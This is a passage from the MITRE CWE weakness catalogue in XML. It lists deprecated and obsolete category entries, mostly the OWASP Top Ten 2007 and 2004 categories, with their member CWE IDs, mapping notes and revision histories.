            <Previous_Entry_Name Date="2017-11-08">Windows Virtual File Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="70" Name="DEPRECATED: Mac Virtual File Problems" Status="Deprecated">
         <Summary>This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Mac Virtual File Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="712" Name="OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="79" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-572"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="713" Name="OWASP Top Ten 2007 Category A2 - Injection Flaws" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="77" View_ID="629"/>
            <Has_Member CWE_ID="89" View_ID="629"/>
            <Has_Member CWE_ID="90" View_ID="629"/>
            <Has_Member CWE_ID="91" View_ID="629"/>
            <Has_Member CWE_ID="93" View_ID="629"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="714" Name="OWASP Top Ten 2007 Category A3 - Malicious File Execution" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="434" View_ID="629"/>
            <Has_Member CWE_ID="78" View_ID="629"/>
            <Has_Member CWE_ID="95" View_ID="629"/>
            <Has_Member CWE_ID="98" View_ID="629"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="715" Name="OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="629"/>
            <Has_Member CWE_ID="472" View_ID="629"/>
            <Has_Member CWE_ID="639" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-528"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="716" Name="OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="352" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-574"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="717" Name="OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="200" View_ID="629"/>
            <Has_Member CWE_ID="203" View_ID="629"/>
            <Has_Member CWE_ID="209" View_ID="629"/>
            <Has_Member CWE_ID="215" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-575"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="718" Name="OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="287" View_ID="629"/>
            <Has_Member CWE_ID="301" View_ID="629"/>
            <Has_Member CWE_ID="522" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-237"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="719" Name="OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="311" View_ID="629"/>
            <Has_Member CWE_ID="321" View_ID="629"/>
            <Has_Member CWE_ID="325" View_ID="629"/>
            <Has_Member CWE_ID="326" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-577"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="720" Name="OWASP Top Ten 2007 Category A9 - Insecure Communications" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="311" View_ID="629"/>
            <Has_Member CWE_ID="321" View_ID="629"/>
            <Has_Member CWE_ID="325" View_ID="629"/>
            <Has_Member CWE_ID="326" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-271"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="721" Name="OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2007.</Summary>
         <Relationships>
            <Has_Member CWE_ID="285" View_ID="629"/>
            <Has_Member CWE_ID="288" View_ID="629"/>
            <Has_Member CWE_ID="425" View_ID="629"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-580"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="722" Name="OWASP Top Ten 2004 Category A1 - Unvalidated Input" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="102" View_ID="711"/>
            <Has_Member CWE_ID="103" View_ID="711"/>
            <Has_Member CWE_ID="104" View_ID="711"/>
            <Has_Member CWE_ID="106" View_ID="711"/>
            <Has_Member CWE_ID="109" View_ID="711"/>
            <Has_Member CWE_ID="120" View_ID="711"/>
            <Has_Member CWE_ID="166" View_ID="711"/>
            <Has_Member CWE_ID="167" View_ID="711"/>
            <Has_Member CWE_ID="179" View_ID="711"/>
            <Has_Member CWE_ID="180" View_ID="711"/>
            <Has_Member CWE_ID="181" View_ID="711"/>
            <Has_Member CWE_ID="182" View_ID="711"/>
            <Has_Member CWE_ID="183" View_ID="711"/>
            <Has_Member CWE_ID="20" View_ID="711"/>
            <Has_Member CWE_ID="425" View_ID="711"/>
            <Has_Member CWE_ID="472" View_ID="711"/>
            <Has_Member CWE_ID="601" View_ID="711"/>
            <Has_Member CWE_ID="602" View_ID="711"/>
            <Has_Member CWE_ID="77" View_ID="711"/>
            <Has_Member CWE_ID="79" View_ID="711"/>
            <Has_Member CWE_ID="89" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-581"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="723" Name="OWASP Top Ten 2004 Category A2 - Broken Access Control" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="711"/>
            <Has_Member CWE_ID="266" View_ID="711"/>
            <Has_Member CWE_ID="268" View_ID="711"/>
            <Has_Member CWE_ID="275" View_ID="711"/>
            <Has_Member CWE_ID="283" View_ID="711"/>
            <Has_Member CWE_ID="284" View_ID="711"/>
            <Has_Member CWE_ID="285" View_ID="711"/>
            <Has_Member CWE_ID="330" View_ID="711"/>
            <Has_Member CWE_ID="41" View_ID="711"/>
            <Has_Member CWE_ID="425" View_ID="711"/>
            <Has_Member CWE_ID="525" View_ID="711"/>
            <Has_Member CWE_ID="551" View_ID="711"/>
            <Has_Member CWE_ID="556" View_ID="711"/>
            <Has_Member CWE_ID="639" View_ID="711"/>
            <Has_Member CWE_ID="708" View_ID="711"/>
            <Has_Member CWE_ID="73" View_ID="711"/>
            <Has_Member CWE_ID="9" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-582"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="724" Name="OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="255" View_ID="711"/>
            <Has_Member CWE_ID="259" View_ID="711"/>
            <Has_Member CWE_ID="287" View_ID="711"/>
            <Has_Member CWE_ID="296" View_ID="711"/>
            <Has_Member CWE_ID="298" View_ID="711"/>
            <Has_Member CWE_ID="302" View_ID="711"/>
            <Has_Member CWE_ID="304" View_ID="711"/>
            <Has_Member CWE_ID="307" View_ID="711"/>
            <Has_Member CWE_ID="309" View_ID="711"/>
            <Has_Member CWE_ID="345" View_ID="711"/>
            <Has_Member CWE_ID="384" View_ID="711"/>
            <Has_Member CWE_ID="521" View_ID="711"/>
            <Has_Member CWE_ID="522" View_ID="711"/>
            <Has_Member CWE_ID="525" View_ID="711"/>
            <Has_Member CWE_ID="613" View_ID="711"/>
            <Has_Member CWE_ID="620" View_ID="711"/>
            <Has_Member CWE_ID="640" View_ID="711"/>
            <Has_Member CWE_ID="798" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-583"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="725" Name="OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
